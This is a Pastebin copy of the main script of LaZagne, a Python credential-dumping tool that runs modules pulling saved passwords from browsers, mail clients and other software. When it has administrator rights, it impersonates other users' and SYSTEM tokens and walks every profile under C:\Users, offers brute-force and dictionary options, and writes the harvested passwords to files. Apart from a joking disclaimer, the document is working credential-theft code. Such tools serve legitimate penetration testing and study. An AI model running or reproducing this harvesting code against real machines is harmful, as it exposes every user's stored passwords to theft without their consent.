Advertisement
Guest User

Untitled

a guest
Jul 12th, 2017
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.68 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. ##############################################################################
  4. # #
  5. # By Alessandro ZANNI #
  6. # #
  7. ##############################################################################
  8.  
  9. # Disclaimer: Do Not Use this program for illegal purposes ;)
  10.  
  11.  
  12. # Softwares that passwords can be retrieved without needed to be in the user environmment
  13. from lazagne.softwares.browsers.mozilla import Mozilla
  14.  
  15. # Configuration
  16. from lazagne.config.write_output import write_header, write_footer, print_footer, print_debug, parseJsonResultToBuffer, print_output
  17. from lazagne.config.changePrivileges import ListSids, rev2self, impersonate_sid_long_handle
  18. from lazagne.config.manageModules import get_categories, get_modules
  19. from lazagne.config.header import Header
  20. from lazagne.config.constant import *
  21. import argparse
  22. import time, sys, os
  23. import logging
  24. import shutil
  25. import json
  26. import getpass
  27. import traceback
  28. import ctypes
  29.  
  30. # Tab containing all passwords
  31. stdoutRes = []
  32.  
  33. category = get_categories()
  34. moduleNames = get_modules()
  35.  
  36. # Define a dictionary for all modules
  37. modules = {}
  38. for categoryName in category:
  39. modules[categoryName] = {}
  40.  
  41. # Add all modules to the dictionary
  42. for module in moduleNames:
  43. modules[module.category][module.options['dest']] = module
  44. modules['mails']['thunderbird'] = Mozilla(True) # For thunderbird (firefox and thunderbird use the same class)
  45.  
  46. def output():
  47. if args['write_normal']:
  48. constant.output = 'txt'
  49.  
  50. if args['write_json']:
  51. constant.output = 'json'
  52.  
  53. if args['write_all']:
  54. constant.output = 'all'
  55.  
  56. if constant.output:
  57. if not os.path.exists(constant.folder_name):
  58. os.makedirs(constant.folder_name)
  59. # constant.file_name_results = 'credentials' # let the choice of the name to the user
  60.  
  61. if constant.output != 'json':
  62. write_header()
  63.  
  64. # Remove all unecessary variables
  65. del args['write_normal']
  66. del args['write_json']
  67. del args['write_all']
  68.  
  69. def verbosity():
  70. # Write on the console + debug file
  71. if args['verbose']==0: level=logging.CRITICAL
  72. elif args['verbose'] == 1: level=logging.INFO
  73. elif args['verbose']>=2: level=logging.DEBUG
  74.  
  75. FORMAT = "%(message)s"
  76. formatter = logging.Formatter(fmt=FORMAT)
  77. stream = logging.StreamHandler()
  78. stream.setFormatter(formatter)
  79. root = logging.getLogger()
  80. root.setLevel(level)
  81. # If other logging are set
  82. for r in root.handlers:
  83. r.setLevel(logging.CRITICAL)
  84. root.addHandler(stream)
  85. del args['verbose']
  86.  
  87. def launch_module(module, need_high_privileges=False, need_system_privileges=False, not_need_to_be_in_env=False, cannot_be_impersonate_using_tokens=False):
  88. modulesToLaunch = []
  89. try:
  90. # Launch only a specific module
  91. for i in args:
  92. if args[i] and i in module:
  93. modulesToLaunch.append(i)
  94. except:
  95. # if no args
  96. pass
  97.  
  98. # Launch all modules
  99. if not modulesToLaunch:
  100. modulesToLaunch = module
  101.  
  102. for i in modulesToLaunch:
  103. if not_need_to_be_in_env and module[i].need_to_be_in_env:
  104. continue
  105.  
  106. if need_high_privileges ^ module[i].need_high_privileges:
  107. continue
  108.  
  109. if need_system_privileges ^ module[i].need_system_privileges:
  110. continue
  111.  
  112. if cannot_be_impersonate_using_tokens and module[i].cannot_be_impersonate_using_tokens:
  113. continue
  114.  
  115. try:
  116. Header().title_info(i.capitalize()) # print title
  117. pwdFound = module[i].run(i.capitalize()) # run the module
  118. print_output(i.capitalize(), pwdFound) # print the results
  119.  
  120. # return value - not used but needed
  121. yield True, i.capitalize(), pwdFound
  122. except:
  123. traceback.print_exc()
  124. print
  125. error_message = traceback.format_exc()
  126. yield False, i.capitalize(), error_message
  127.  
  128. def manage_advanced_options():
  129. # File used for dictionary attacks
  130. if 'path' in args:
  131. constant.path = args['path']
  132. if 'bruteforce' in args:
  133. constant.bruteforce = args['bruteforce']
  134.  
  135. # Mozilla advanced options
  136. if 'manually' in args:
  137. constant.manually = args['manually']
  138. if 'specific_path' in args:
  139. constant.specific_path = args['specific_path']
  140.  
  141. # Jitsi advanced options
  142. if 'master_pwd' in args:
  143. constant.jitsi_masterpass = args['master_pwd']
  144.  
  145. # i.e advanced options
  146. if 'historic' in args:
  147. constant.ie_historic = args['historic']
  148.  
  149. # Run only one module
  150. def runModule(category_choosed, need_high_privileges=False, need_system_privileges=False, not_need_to_be_in_env=False, cannot_be_impersonate_using_tokens=False):
  151. global category
  152.  
  153. if category_choosed != 'all':
  154. category = [category_choosed]
  155.  
  156. for categoryName in category:
  157. for r in launch_module(modules[categoryName], need_high_privileges, need_system_privileges, not_need_to_be_in_env, cannot_be_impersonate_using_tokens):
  158. yield r
  159.  
  160. # write output to file (json and txt files)
  161. def write_in_file(result):
  162. try:
  163. if constant.output == 'json' or constant.output == 'all':
  164. # Human readable Json format
  165. prettyJson = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '))
  166. with open(constant.folder_name + os.sep + constant.file_name_results + '.json', 'w+') as f:
  167. f.write(prettyJson.encode('utf-8', errors='replace'))
  168. print '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.json'
  169.  
  170. if constant.output == 'txt' or constant.output == 'all':
  171. with open(constant.folder_name + os.sep + constant.file_name_results + '.txt', 'a+b') as f:
  172. f.write(parseJsonResultToBuffer(result))
  173. write_footer()
  174. print '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.txt'
  175.  
  176. except Exception as e:
  177. print_debug('ERROR', 'Error writing the output file: %s' % e)
  178.  
  179. # Get user list to retrieve their passwords
  180. def get_user_list_on_filesystem(impersonated_user=[]):
  181. # Check users existing on the system (get only directories)
  182. all_users = os.walk('C:\\Users').next()[1]
  183.  
  184. # Remove default users
  185. for user in ['All Users', 'Default User', 'Default', 'Public']:
  186. if user in all_users:
  187. all_users.remove(user)
  188.  
  189. # Removing user that have already been impersonated
  190. for imper_user in impersonated_user:
  191. if imper_user in all_users:
  192. all_users.remove(imper_user)
  193.  
  194. return all_users
  195.  
  196. def set_env_variables(user = getpass.getuser(), toImpersonate = False):
  197. constant.username = user
  198. if not toImpersonate:
  199. constant.profile['APPDATA'] = os.environ.get('APPDATA', 'C:\\Users\\%s\\AppData\\Roaming\\' % user)
  200. constant.profile['USERPROFILE'] = os.environ.get('USERPROFILE', 'C:\\Users\\%s\\' % user)
  201. constant.profile['HOMEDRIVE'] = os.environ.get('HOMEDRIVE', 'C:')
  202. constant.profile['HOMEPATH'] = os.environ.get('HOMEPATH', 'C:\\Users\\%s' % user)
  203. constant.profile['ALLUSERSPROFILE'] = os.environ.get('ALLUSERSPROFILE', 'C:\\ProgramData')
  204. constant.profile['COMPOSER_HOME'] = os.environ.get('COMPOSER_HOME', 'C:\\Users\\%s\\AppData\\Roaming\\Composer\\' % user)
  205. constant.profile['LOCALAPPDATA'] = os.environ.get('LOCALAPPDATA', 'C:\\Users\\%s\\AppData\\Local' % user)
  206. else:
  207. constant.profile['APPDATA'] = 'C:\\Users\\%s\\AppData\\Roaming\\' % user
  208. constant.profile['USERPROFILE'] = 'C:\\Users\\%s\\' % user
  209. constant.profile['HOMEPATH'] = 'C:\\Users\\%s' % user
  210. constant.profile['COMPOSER_HOME'] = 'C:\\Users\\%s\\AppData\\Roaming\\Composer\\' % user
  211. constant.profile['LOCALAPPDATA'] = 'C:\\Users\\%s\\AppData\\Local' % user
  212.  
  213. # Used to print help menu when an error occurs
  214. class MyParser(argparse.ArgumentParser):
  215. def error(self, message):
  216. sys.stderr.write('error: %s\n\n' % message)
  217. self.print_help()
  218. sys.exit(2)
  219.  
  220. # print user when verbose mode is enabled (without verbose mode the user is printed on the write_output python file)
  221. def print_user(user):
  222. if logging.getLogger().isEnabledFor(logging.INFO) == True:
  223. try:
  224. print '\n\n########## User: %s ##########\n' % user
  225. except:
  226. print '\n\n########## User: %s ##########\n' % user.encode('utf-8', errors='replace')
  227.  
  228. def clean_temporary_files():
  229. # try to remove all temporary files
  230. for h in constant.hives:
  231. try:
  232. os.remove(constant.hives[h])
  233. print_debug('DEBUG', 'Temporary file removed: %s' % constant.hives[h])
  234. except:
  235. pass
  236.  
  237. def runLaZagne(category_choosed='all'):
  238.  
  239. # ------ Part used for user impersonation ------
  240.  
  241. current_user = getpass.getuser().encode('utf-8', errors='ignore')
  242. if not current_user.endswith('$'):
  243. constant.finalResults = {'User': current_user}
  244. print_user(current_user)
  245. yield 'User', current_user
  246. set_env_variables()
  247. for r in runModule(category_choosed):
  248. yield r
  249. stdoutRes.append(constant.finalResults)
  250.  
  251. # Check if admin to impersonate
  252. if ctypes.windll.shell32.IsUserAnAdmin() != 0:
  253. # --------- Impersonation using tokens ---------
  254.  
  255. sids = ListSids()
  256. impersonateUsers = {}
  257. impersonated_user = [current_user]
  258. for sid in sids:
  259. # Not save the current user's SIDs
  260. if current_user != sid[3].split('\\', 1)[1]:
  261. impersonateUsers.setdefault(sid[3].split('\\', 1)[1], []).append(sid[2])
  262.  
  263. for user in impersonateUsers:
  264. if 'service ' in user.lower() or ' service' in user.lower():
  265. continue
  266.  
  267. print_user(user)
  268. yield 'User', user
  269.  
  270. constant.finalResults = {'User': user}
  271. for sid in impersonateUsers[user]:
  272. try:
  273. set_env_variables(user, toImpersonate=True)
  274. impersonate_sid_long_handle(sid, close=False)
  275.  
  276. _cannot_be_impersonate_using_tokens = False
  277. _need_system_privileges = False
  278.  
  279. if sid == "S-1-5-18":
  280. _need_system_privileges = True
  281. else:
  282. impersonated_user.append(user)
  283. _cannot_be_impersonate_using_tokens = True
  284.  
  285. # Launch module wanted
  286. for r in runModule(category_choosed, need_system_privileges=_need_system_privileges, cannot_be_impersonate_using_tokens=_cannot_be_impersonate_using_tokens):
  287. yield r
  288.  
  289. rev2self()
  290. stdoutRes.append(constant.finalResults)
  291. break
  292. except Exception, e:
  293. print e
  294. pass
  295.  
  296. # --------- Impersonation browsing file system
  297.  
  298. # Ready to check for all users remaining
  299. all_users = get_user_list_on_filesystem(impersonated_user)
  300. for user in all_users:
  301. set_env_variables(user, toImpersonate = True)
  302. print_user(user)
  303.  
  304. # Fix value by default for user environnment (appdata and userprofile)
  305. constant.finalResults = {'User': user}
  306.  
  307. # Retrieve passwords that need high privileges
  308. for r in runModule(category_choosed, not_need_to_be_in_env=True):
  309. yield r
  310.  
  311. stdoutRes.append(constant.finalResults)
  312.  
  313. if __name__ == '__main__':
  314.  
  315. # Print the title
  316. Header().first_title()
  317.  
  318. parser = MyParser()
  319. parser.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version')
  320.  
  321. # ------------------------------------------- Permanent options -------------------------------------------
  322. # Version and verbosity
  323. PPoptional = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
  324. PPoptional._optionals.title = 'optional arguments'
  325. PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level')
  326. PPoptional.add_argument('-path', dest='path', action= 'store', help = 'path of a file used for dictionary file')
  327. PPoptional.add_argument('-b', dest='bruteforce', action= 'store', help = 'number of character to brute force')
  328.  
  329. # Output
  330. PWrite = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
  331. PWrite._optionals.title = 'Output'
  332. PWrite.add_argument('-oN', dest='write_normal', action='store_true', help = 'output file in a readable format')
  333. PWrite.add_argument('-oJ', dest='write_json', action='store_true', help = 'output file in a json format')
  334. PWrite.add_argument('-oA', dest='write_all', action='store_true', help = 'output file in all format')
  335.  
  336. # ------------------------------------------- Add options and suboptions to all modules -------------------------------------------
  337. all_subparser = []
  338. for c in category:
  339. category[c]['parser'] = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
  340. category[c]['parser']._optionals.title = category[c]['help']
  341.  
  342. # Manage options
  343. category[c]['subparser'] = []
  344. for module in modules[c].keys():
  345. m = modules[c][module]
  346. category[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help'])
  347.  
  348. # Manage all suboptions by modules
  349. if m.suboptions and m.name != 'thunderbird':
  350. tmp = []
  351. for sub in m.suboptions:
  352. tmp_subparser = argparse.ArgumentParser(add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION))
  353. tmp_subparser._optionals.title = sub['title']
  354. if 'type' in sub:
  355. tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help'])
  356. else:
  357. tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help'])
  358. tmp.append(tmp_subparser)
  359. all_subparser.append(tmp_subparser)
  360. category[c]['subparser'] += tmp
  361.  
  362. # ------------------------------------------- Print all -------------------------------------------
  363. parents = [PPoptional] + all_subparser + [PWrite]
  364. dic = {'all':{'parents':parents, 'help':'Run all modules', 'func': runModule}}
  365. for c in category:
  366. parser_tab = [PPoptional, category[c]['parser']]
  367. if 'subparser' in category[c]:
  368. if category[c]['subparser']:
  369. parser_tab += category[c]['subparser']
  370. parser_tab += [PWrite]
  371. dic_tmp = {c: {'parents': parser_tab, 'help':'Run %s module' % c, 'func': runModule}}
  372. dic = dict(dic.items() + dic_tmp.items())
  373.  
  374. #2- Main commands
  375. subparsers = parser.add_subparsers(help='Choose a main command')
  376. for d in dic:
  377. subparsers.add_parser(d, parents=dic[d]['parents'], help=dic[d]['help']).set_defaults(func=dic[d]['func'], auditType=d)
  378.  
  379. # ------------------------------------------- Parse arguments -------------------------------------------
  380.  
  381. args = dict(parser.parse_args()._get_kwargs())
  382. arguments = parser.parse_args()
  383. category_choosed = args['auditType']
  384.  
  385. # Define constant variables
  386. output()
  387. verbosity()
  388. manage_advanced_options()
  389.  
  390. start_time = time.time()
  391.  
  392. for r in runLaZagne(category_choosed):
  393. pass
  394.  
  395. clean_temporary_files()
  396. write_in_file(stdoutRes)
  397. print_footer()
  398.  
  399. elapsed_time = time.time() - start_time
  400. print '\nelapsed time = ' + str(elapsed_time)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement